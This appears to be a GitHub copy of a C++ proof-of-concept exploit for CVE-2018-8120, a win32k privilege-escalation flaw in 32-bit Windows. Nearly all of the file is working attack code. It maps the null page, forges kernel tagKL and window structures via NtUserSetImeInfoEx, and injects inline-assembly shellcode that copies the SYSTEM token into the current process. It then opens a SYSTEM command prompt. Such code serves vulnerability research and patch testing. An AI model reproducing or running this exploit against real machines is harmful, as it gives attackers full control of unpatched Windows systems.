Permalink
Switch branches/tags
Nothing to show
Find file Copy path
881f36d May 16, 2018
1 contributor

Users who have contributed to this file

469 lines (412 sloc) 12.6 KB
/**
* Exploit: CVE-2018-8120
* Author: Leeqwind (@leeqwind)
* Paper(zh): https://xiaodaozhi.com/exploit/149.html
* Paper(en): https://xiaodaozhi.com/exploit/156.html
* Declaration: NO LEGAL LIABILITY.
*/
#include <Windows.h>
#include <wingdi.h>
#include <WinUser.h>
#include <iostream>
#include <Psapi.h>
#pragma comment(lib, "psapi.lib")
#define POCDEBUG 0
#if POCDEBUG == 1
#define POCDEBUG_BREAK() getchar()
#elif POCDEBUG == 2
#define POCDEBUG_BREAK() __debugbreak()
#else
#define POCDEBUG_BREAK()
#endif
typedef struct _THRDESKHEAD {
HANDLE h;
DWORD cLockObj;
PVOID pti;
PVOID rpdesk;
PBYTE pSelf;
} THRDESKHEAD, *PTHRDESKHEAD;
typedef struct _SHELLCODE {
DWORD reserved;
DWORD pid;
DWORD off_THREADINFO_ppi;
DWORD off_EPROCESS_ActiveLink;
DWORD off_EPROCESS_Token;
BOOL bExploited;
BYTE pfnWindProc[];
} SHELLCODE, *PSHELLCODE;
static PSHELLCODE pvShellCode = NULL;
typedef
NTSTATUS
(WINAPI *pfNtAllocateVirtualMemory) (
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
pfNtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
/*
* kd> dt win32k!tagWINDOWSTATION
* +0x000 dwSessionId : Uint4B
* +0x004 rpwinstaNext : Ptr32 tagWINDOWSTATION
* +0x008 rpdeskList : Ptr32 tagDESKTOP
* +0x00c pTerm : Ptr32 tagTERMINAL
* +0x010 dwWSF_Flags : Uint4B
* +0x014 spklList : Ptr32 tagKL
* +0x018 ptiClipLock : Ptr32 tagTHREADINFO
* +0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO
* +0x020 spwndClipOpen : Ptr32 tagWND
* +0x024 spwndClipViewer : Ptr32 tagWND
* +0x028 spwndClipOwner : Ptr32 tagWND
* +0x02c pClipBase : Ptr32 tagCLIP
* +0x030 cNumClipFormats : Uint4B
* +0x034 iClipSerialNumber : Uint4B
* +0x038 iClipSequenceNumber : Uint4B
* +0x03c spwndClipboardListener : Ptr32 tagWND
* +0x040 pGlobalAtomTable : Ptr32 Void
* +0x044 luidEndSession : _LUID
* +0x04c luidUser : _LUID
* +0x054 psidUser : Ptr32 Void
* kd> dt win32k!tagKL
* +0x000 head : _HEAD
* +0x008 pklNext : Ptr32 tagKL
* +0x00c pklPrev : Ptr32 tagKL
* +0x010 dwKL_Flags : Uint4B
* +0x014 hkl : Ptr32 HKL__
* +0x018 spkf : Ptr32 tagKBDFILE
* +0x01c spkfPrimary : Ptr32 tagKBDFILE
* +0x020 dwFontSigs : Uint4B
* +0x024 iBaseCharset : Uint4B
* +0x028 CodePage : Uint2B
* +0x02a wchDiacritic : Wchar
* +0x02c piiex : Ptr32 tagIMEINFOEX
* +0x030 uNumTbl : Uint4B
* +0x034 pspkfExtra : Ptr32 Ptr32 tagKBDFILE
* +0x038 dwLastKbdType : Uint4B
* +0x03c dwLastKbdSubType : Uint4B
* +0x040 dwKLID : Uint4B
*/
/*
* kd> dt win32k!tagIMEINFO
* +0x000 dwPrivateDataSize : Uint4B
* +0x004 fdwProperty : Uint4B
* +0x008 fdwConversionCaps : Uint4B
* +0x00c fdwSentenceCaps : Uint4B
* +0x010 fdwUICaps : Uint4B
* +0x014 fdwSCSCaps : Uint4B
* +0x018 fdwSelectCaps : Uint4B
*/
typedef struct {
DWORD dwPrivateDataSize;
DWORD fdwProperty;
DWORD fdwConversionCaps;
DWORD fdwSentenceCaps;
DWORD fdwUICaps;
DWORD fdwSCSCaps;
DWORD fdwSelectCaps;
} tagIMEINFO;
#define IM_UI_CLASS_SIZE 16
#define IM_DESC_SIZE 50
#define IM_FILE_SIZE 80
/*
* Extended IME information.
*
* kd> dt win32k!tagIMEINFOEX
* +0x000 hkl : Ptr32 HKL__
* +0x004 ImeInfo : tagIMEINFO
* +0x020 wszUIClass : [16] Wchar
* +0x040 fdwInitConvMode : Uint4B
* +0x044 fInitOpen : Int4B
* +0x048 fLoadFlag : Int4B
* +0x04c dwProdVersion : Uint4B
* +0x050 dwImeWinVersion : Uint4B
* +0x054 wszImeDescription : [50] Wchar
* +0x0b8 wszImeFile : [80] Wchar
* +0x158 fSysWow64Only : Pos 0, 1 Bit
* +0x158 fCUASLayer : Pos 1, 1 Bit
*/
typedef struct {
HKL hkl;
tagIMEINFO ImeInfo;
WCHAR wszUIClass[IM_UI_CLASS_SIZE];
DWORD fdwInitConvMode;
BOOL fInitOpen;
BOOL fLoadFlag;
DWORD dwProdVersion;
DWORD dwImeWinVersion;
WCHAR wszImeDescription[IM_DESC_SIZE];
WCHAR wszImeFile[IM_FILE_SIZE];
CHAR fSysWow64Only : 1;
BYTE fCUASLayer : 1;
} tagIMEINFOEX;
CONST DWORD offset_WINDOWSTATION_spklList = 0x014;
static
BOOL
__declspec(naked)
xxNtUserSetImeInfoEx(tagIMEINFOEX *imeInfoEx)
{
__asm { mov eax, 1226h };
__asm { lea edx, [esp + 4] };
__asm { int 2eh };
__asm { ret };
}
#define NtCurrentProcess() (HANDLE)-1
#define NtCurrentThread() (HANDLE)-1
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
static PVOID(__fastcall *pfnHMValidateHandle)(HANDLE, BYTE) = NULL;
static
VOID
xxGetHMValidateHandle(VOID)
{
HMODULE hModule = LoadLibraryA("USER32.DLL");
PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
PBYTE Address = NULL;
for (INT i = 0; i < 0x30; i++)
{
if (*(WORD *)(i + pfnIsMenu) != 0x02B2)
{
continue;
}
i += 2;
if (*(BYTE *)(i + pfnIsMenu) != 0xE8)
{
continue;
}
Address = *(DWORD *)(i + pfnIsMenu + 1) + pfnIsMenu;
Address = Address + i + 5;
pfnHMValidateHandle = (PVOID(__fastcall *)(HANDLE, BYTE))Address;
break;
}
}
#define TYPE_WINDOW 1
static
PVOID
xxHMValidateHandleEx(HWND hwnd)
{
return pfnHMValidateHandle((HANDLE)hwnd, TYPE_WINDOW);
}
static
PVOID
xxHMValidateHandle(HWND hwnd)
{
PVOID RetAddr = NULL;
if (!pfnHMValidateHandle)
{
xxGetHMValidateHandle();
}
if (pfnHMValidateHandle)
{
RetAddr = xxHMValidateHandleEx(hwnd);
}
return RetAddr;
}
static
DWORD
WINAPI
xxTrackExploitEx(VOID)
{
BOOL bReturn = FALSE;
tagIMEINFOEX iiFaked = { 0 };
SECURITY_ATTRIBUTES sa = { 0 };
WNDCLASSEXW wc = { 0 };
HWND hwndHunt = NULL;
PVOID pwndHunt = NULL;
HWINSTA hWinStat = NULL;
PVOID MemAddr = (PVOID)1;
SIZE_T MemSize = 0x1000;
std::cout << "[+]" << __FUNCTION__ << std::endl;
POCDEBUG_BREAK();
if (!NT_SUCCESS(NtAllocateVirtualMemory(NtCurrentProcess(),
&MemAddr,
0,
&MemSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || MemAddr != NULL)
{
std::cout << "[-]Memory alloc failed!" << std::endl;
return 1;
}
ZeroMemory(MemAddr, MemSize);
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
POCDEBUG_BREAK();
wc.cbSize = sizeof(WNDCLASSEXW);
wc.lpfnWndProc = DefWindowProcW;
wc.cbWndExtra = 0x100;
wc.hInstance = GetModuleHandleA(NULL);
wc.lpszMenuName = NULL;
wc.lpszClassName = L"WNDCLASSHUNT";
RegisterClassExW(&wc);
hwndHunt = CreateWindowExW(WS_EX_LEFT, L"WNDCLASSHUNT",
NULL,
WS_CLIPCHILDREN | WS_CLIPSIBLINGS | WS_POPUP, // no border
0,
0,
0,
0,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hwndHunt);
POCDEBUG_BREAK();
pwndHunt = head->pSelf;
CopyMemory(&iiFaked, (PBYTE)head, sizeof(tagIMEINFOEX));
std::cout << "[+]hwndHunt=" << (PVOID)hwndHunt << std::endl;
std::cout << "[+]pwndHunt=" << (PVOID)pwndHunt << std::endl;
DWORD *klFaked = (DWORD *)MemAddr;
klFaked[0x02] = (DWORD)klFaked; // tagKL->pklNext
klFaked[0x03] = (DWORD)klFaked; // tagKL->pklPrev
klFaked[0x05] = (DWORD)iiFaked.hkl; // tagKL->hkl
klFaked[0x0B] = (DWORD)pwndHunt; // tagKL->piiex
*(DWORD *)((PBYTE)&iiFaked + 0x14) |= (DWORD)0x40000; //->bServerSideWindowProc
*(DWORD *)((PBYTE)&iiFaked + 0x60) = (DWORD)pvShellCode->pfnWindProc; //->lpfnWndProc
std::cout << "[+]pwnd->flags=" << (PVOID)*(DWORD *)((PBYTE)&iiFaked + 0x14) << std::endl;
std::cout << "[+]pwnd->lpfnWndProc=" << (PVOID)*(DWORD *)((PBYTE)&iiFaked + 0x60) << std::endl;
POCDEBUG_BREAK();
std::cout << "[*]CreateWindowStationW()" << std::endl;
hWinStat = CreateWindowStationW(NULL, CWF_CREATE_ONLY, WINSTA_ALL_ACCESS, &sa);
std::cout << "[*]SetProcessWindowStation()" << std::endl;
SetProcessWindowStation(hWinStat);
std::cout << "[+]hWinSta=" << (PVOID)hWinStat << std::endl;
POCDEBUG_BREAK();
std::cout << "[*]NtUserSetImeInfoEx()" << std::endl;
bReturn = xxNtUserSetImeInfoEx(&iiFaked);
if (!bReturn)
{
std::cout << "[-]Execute Failed!" << std::endl;
return 1;
}
POCDEBUG_BREAK();
SendMessageW(hwndHunt, 0x9F9F, 0, 0);
if (!pvShellCode->bExploited)
{
std::cout << "[+]Privilege Escalation Failed!" << std::endl;
return 1;
}
std::cout << "[+]Privilege Escalation Done!" << std::endl;
return 0;
}
static
VOID
_declspec(naked)
xxPayloadWindProc(VOID)
{
__asm push ebp;
__asm mov ebp, esp;
__asm mov eax, dword ptr[ebp + 0Ch];
__asm cmp eax, 9F9Fh;
__asm jne LocRETURN;
__asm mov ax, cs;
__asm cmp ax, 1Bh;
__asm je LocRETURN;
__asm cld;
__asm pushad;
__asm call $ + 5;
__asm pop edx;
__asm sub edx, 35h;
LocGetEPROCESS:
__asm mov ecx, dword ptr[ebp + 8];
__asm mov ecx, dword ptr[ecx + 8];
__asm mov ebx, dword ptr[edx + 08h];
__asm mov ecx, dword ptr[ebx + ecx];
__asm mov ecx, dword ptr[ecx];
__asm mov ebx, dword ptr[edx + 0Ch];
__asm mov eax, dword ptr[edx + 4];
__asm push ecx;
LocForCurrentPROCESS:
__asm cmp dword ptr[ebx + ecx - 4], eax;
__asm je LocFoundCURRENT;
__asm mov ecx, dword ptr[ebx + ecx];
__asm sub ecx, ebx;
__asm jmp LocForCurrentPROCESS;
LocFoundCURRENT:
__asm mov edi, ecx;
__asm pop ecx;
LocForSystemPROCESS:
__asm cmp dword ptr[ebx + ecx - 4], 4;
__asm je LocFoundSYSTEM;
__asm mov ecx, dword ptr[ebx + ecx];
__asm sub ecx, ebx;
__asm jmp LocForSystemPROCESS;
LocFoundSYSTEM:
__asm mov esi, ecx;
__asm mov eax, dword ptr[edx + 10h];
__asm add esi, eax;
__asm add edi, eax;
__asm lods dword ptr[esi];
__asm stos dword ptr es : [edi];
__asm and eax, 0FFFFFFF8h;
__asm add dword ptr[eax - 18h], 2;
__asm mov dword ptr[edx + 14h], 1;
__asm popad;
__asm xor eax, eax;
LocRETURN:
__asm leave;
__asm ret 10h;
__asm int 3;
__asm int 3;
__asm int 3;
__asm int 3;
__asm int 3;
}
static
VOID xxCreateCmdLineProcess(VOID)
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
INT POC_CVE20188120(VOID)
{
std::cout << "-------------------" << std::endl;
std::cout << "POC - CVE-2018-8120" << std::endl;
std::cout << "-------------------" << std::endl;
*(FARPROC *)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"),
"NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == NULL)
{
return 1;
}
pvShellCode = (PSHELLCODE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pvShellCode == NULL)
{
return 1;
}
ZeroMemory(pvShellCode, 0x1000);
pvShellCode->pid = GetCurrentProcessId();
pvShellCode->off_THREADINFO_ppi = 0x0b8;
pvShellCode->off_EPROCESS_ActiveLink = 0x0b8;
pvShellCode->off_EPROCESS_Token = 0x0f8;
for (UINT i = 0; ; i++)
{
if (*(DWORD *)&((PBYTE)xxPayloadWindProc)[i] == 0xcccccccc)
{
CopyMemory(pvShellCode->pfnWindProc, xxPayloadWindProc, i);
break;
}
}
if (pvShellCode->pfnWindProc[0] == 0)
{
return 1;
}
if (!xxTrackExploitEx())
{
xxCreateCmdLineProcess();
}
std::cout << "-------------------" << std::endl;
getchar();
return 0;
}
INT main(INT argc, CHAR *argv[])
{
POC_CVE20188120();
return 0;
}